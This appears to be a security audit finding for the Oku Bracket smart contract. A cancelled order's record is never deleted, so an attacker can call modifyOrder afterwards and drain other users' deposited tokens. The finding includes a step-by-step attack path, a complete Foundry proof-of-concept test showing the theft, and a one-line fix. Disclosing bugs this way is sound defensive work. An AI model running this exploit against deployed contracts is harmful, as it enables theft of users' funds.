Elegant Jade Chameleon

High

# Any random bad actor will drain user tokens from `Bracket` contract

High

### Summary

Not resetting the `orders` mapping for a cancelled order will cause a total loss of user tokens as any random bad actor can modify a cancelled order to receive more tokens than they are supposed to.

### Root Cause

In [`Bracket.sol: 501`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L501), the `orders` mapping for a cancelled order is not deleted. This issue is also seen in [`Oracleless.sol: 150`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L150) and [`StopLimit.sol: 358`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L358).

### Internal pre-conditions

1. At least one order needs to be unprocessed and pending. The `Bracket` contract should hold some amount of user tokens.

### External pre-conditions

nil

### Attack Path

1. Bad actor gets the balance of the `Bracket` contract of the target token.
2. Bad actor calls `Bracket::createOrder` and creates an order with above balance as `amountIn` param
3. Bad actor calls `Bracket::getPendingOrders` and stores the array returned.
4. Bad actor determines their order index by subtracting one from the above array length.
5. Bad actor determines their `orderId` by passing the above index into the above array.
6. Bad actor calls `Bracket::cancelOrder` with their `orderId` gotten above and receives their initial `amountIn` back.
7. Bad actor calls `Bracket::modifyOrder` with their `orderId` and passes in a calculated `amountInDelta` param
8. Bad actor is sent the `amountInDelta` amount of tokens from the `Bracket` contract

### Impact

The users lose all their deposited tokens. The attacker gains all the user tokens, minus a small amount required for `minOrderSize`

### PoC

```solidity
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.19;

import {Test, console2} from "forge-std/Test.sol";
import {MockPyth} from "./Mocks/MockPyth.sol";
import {AutomationMaster} from "../../contracts/automatedTrigger/AutomationMaster.sol";
import {IAutomation, IPermit2} from "../../contracts/automatedTrigger/IAutomation.sol";
import {Bracket, IBracket} from "../../contracts/automatedTrigger/Bracket.sol";
import {StopLimit, IStopLimit} from "../../contracts/automatedTrigger/StopLimit.sol";
import {PythOracle, IPyth, IPythRelay} from "../../contracts/oracle/External/PythOracle.sol";
import {IERC20} from "../../contracts/interfaces/openzeppelin/IERC20.sol";
import {TestERC20} from "./TestERC20.sol";

contract TestForge is Test {
    MockPyth pyth;
    PythOracle pythOracleIn;
    PythOracle pythOracleOut;
    bytes32 TOKEN_IN_PRICE_FEED_ID = bytes32(uint256(0x1));
    bytes32 TOKEN_OUT_PRICE_FEED_ID = bytes32(uint256(0x2));

    IERC20 tokenIn;
    IERC20 tokenOut;

    uint256 noOlderThan = 60;
    uint256 MIN_ORDER_SIZE = 6000e8;
    uint16 MAX_PENDING_ORDERS = 100;

    address owner = makeAddr("owner");
    AutomationMaster automationMaster;
    Bracket bracketContract;
    IStopLimit stopLimitContract;
    IPermit2 permit2;

    function setUp() public {
        tokenIn = IERC20(address(new TestERC20(18)));
        tokenOut = IERC20(address(new TestERC20(18)));
        address underlyingIn = address(tokenIn);
        address underlyingOut = address(tokenIn);

        pyth = new MockPyth(60, 1);
        pythOracleIn = new PythOracle(IPyth(address(pyth)), TOKEN_IN_PRICE_FEED_ID, noOlderThan, underlyingIn);
        pythOracleOut = new PythOracle(IPyth(address(pyth)), TOKEN_OUT_PRICE_FEED_ID, noOlderThan, underlyingOut);

        //set up register oracle params
        IERC20[] memory tokens = new IERC20[](2);
        IPythRelay[] memory oracles = new IPythRelay[](2);
        tokens[0] = tokenIn;
        tokens[1] = tokenOut;
        oracles[0] = pythOracleIn;
        oracles[1] = pythOracleOut;

        //perform necessary owner tasks
        vm.startPrank(owner);
        automationMaster = new AutomationMaster();
        permit2 = IPermit2(address(15));
        bracketContract = new Bracket(automationMaster, permit2);
        stopLimitContract = new StopLimit(automationMaster, IBracket(bracketContract), permit2);

        automationMaster.setMinOrderSize(MIN_ORDER_SIZE);
        automationMaster.setMaxPendingOrders(MAX_PENDING_ORDERS);
        automationMaster.registerOracle(tokens, oracles);
        automationMaster.registerSubKeepers(stopLimitContract, bracketContract);
        vm.stopPrank();

        //so that the publish time is 90
        vm.warp(90);
        //initial price of tokenIn set to 3000
        setTokenPrice(3000, TOKEN_IN_PRICE_FEED_ID);
        //initial price of tokenOut set to 2345
        setTokenPrice(2345, TOKEN_OUT_PRICE_FEED_ID);
    }

    //functions for updating token oracle prices
    function createTokenUpdate(int64 price, bytes32 id) private view returns (bytes[] memory) {
        bytes[] memory updateData = new bytes[](1);
        updateData[0] = pyth.createPriceFeedUpdateData(
            id,
            price * 1e8, // price
            10 * 1e8, // confidence
            -8, // exponent
            price * 1e8, // emaPrice
            10 * 1e8, // emaConfidence
            uint64(block.timestamp) // publishTime
        );

        return updateData;
    }

    function setTokenPrice(int64 price, bytes32 id) private {
        bytes[] memory updateData = createTokenUpdate(price, id);
        uint256 value = pyth.getUpdateFee(updateData);
        vm.deal(address(this), value);
        pyth.updatePriceFeeds{value: value}(updateData);
    }

    //modifier because of stale price returned
    modifier okuFreshPrice() {
          //necessary because of oku oracle returning stale time
          vm.warp(160);
          _;
     }

     function testFundsCanBeDrainedFromBracketContract() public okuFreshPrice {
             //1. users create orders and have tokens in bracketContract
             address user1 = makeAddr("user1");
             address user2 = makeAddr("user2");
             address user3 = makeAddr("user3");

             vm.startPrank(user1);
             TestERC20(address(tokenIn)).mint(10e18);
             tokenIn.approve(address(bracketContract), 10e18);
             bracketContract.createOrder("", 5e8, 25e7, 10e18, tokenIn, tokenOut, user1, 20, 20, 100, false, "");
             vm.stopPrank();

             vm.startPrank(user2);
             TestERC20(address(tokenIn)).mint(10e18);
             tokenIn.approve(address(bracketContract), 10e18);
             bracketContract.createOrder("", 4e8, 2e8, 10e18, tokenIn, tokenOut, user2, 20, 20, 100, false, "");
             vm.stopPrank();

             vm.startPrank(user3);
             TestERC20(address(tokenIn)).mint(10e18);
             tokenIn.approve(address(bracketContract), 10e18);
             bracketContract.createOrder("", 35e7, 15e7, 10e18, tokenIn, tokenOut, user3, 20, 20, 100, false, "");
             vm.stopPrank();

             uint256 startingBracketContractBalance = tokenIn.balanceOf(address(bracketContract));
             address thief = makeAddr("thief");
             uint256 balanceOfBracketContract = tokenIn.balanceOf(address(bracketContract));

             //2. thief creates an order with balance of the bracket contract
             vm.startPrank(thief);
             TestERC20(address(tokenIn)).mint(balanceOfBracketContract);
             //thief balance before order creation
             uint256 startingBalance = tokenIn.balanceOf(thief);
             tokenIn.approve(address(bracketContract), balanceOfBracketContract);
             bracketContract.createOrder(
                 "", 4e8, 2e8, balanceOfBracketContract, tokenIn, tokenOut, thief, 20, 20, 100, false, ""
             );

             //check that thief balance reduces by balanceOfBracketContract
             uint256 balanceAfterOrderCreation = tokenIn.balanceOf(thief);
             assertEq(balanceAfterOrderCreation, 0);

             //3. thief gets their orderId and immediately cancels order
             uint96[] memory orderIdsArray = bracketContract.getPendingOrders();
             uint256 arrLength = orderIdsArray.length;
             uint96 orderId = orderIdsArray[arrLength - 1];
             bracketContract.cancelOrder(orderId);

             //check that thief balance increases to initial amount after order cancellation
             uint256 balanceAfterOrderCancellation = tokenIn.balanceOf(thief);
             assertEq(balanceAfterOrderCancellation, startingBalance);

             //4. thief calls modifyOrder with their orderId and amountDelta. The difference between `amountDelta` and the initial order `amountIn` is just slightly above the minimum amount needed to create an order
             uint256 minOrderAmountInUsd = automationMaster.minOrderSize();
             //convert minOrderAmount to the token amount and then subtract
             uint256 priceOfOneTokenIn = pythOracleIn.currentValue(); //3000e8
             uint256 tokenPrecision = 10 ** TestERC20(address(tokenIn)).decimals();
             uint256 minOrderAmountInTokenIn = (minOrderAmountInUsd * tokenPrecision) / priceOfOneTokenIn;
             //add one extra token to minOrderAmountInTokenIn so condition in `AutomationMaster::checkMinOrderSize` passes
             uint256 amountDelta = balanceOfBracketContract - (minOrderAmountInTokenIn + 1e18);

             //call modifyOrder
             bracketContract.modifyOrder(orderId, 4e8, 2e8, amountDelta, tokenOut, thief, 20, 100, false, false, "");
             vm.stopPrank();

             uint256 finalBalance = tokenIn.balanceOf(thief);
             uint256 finalBracketContractBalance = tokenIn.balanceOf(address(bracketContract));

              //5. check that thief balance increases by (balanceOfBracketContract - 1)
             assertGt(finalBalance, startingBalance);
             assertLt(finalBracketContractBalance, startingBracketContractBalance);
             console2.log("Thief's starting balance: ", startingBalance);
             console2.log("Thief's final balance: ", finalBalance);
             console2.log("Bracket Contract starting balance", startingBracketContractBalance);
             console2.log("Bracket Contract final balance", finalBracketContractBalance);
         }
}
```

### Mitigation

```diff
function _cancelOrder(Order memory order) internal returns (bool) {
        for (uint96 i = 0; i < pendingOrderIds.length; i++) {
            if (pendingOrderIds[i] == order.orderId) {
                //remove from pending array
                pendingOrderIds = ArrayMutation.removeFromArray(i, pendingOrderIds);
                //@audit mine
+               delete orders[order.orderId];

                //refund tokenIn amountIn to recipient
                order.tokenIn.safeTransfer(order.recipient, order.amountIn);

                //emit event
                emit OrderCancelled(order.orderId);

                return true;
            }
        }
        return false;
    }
```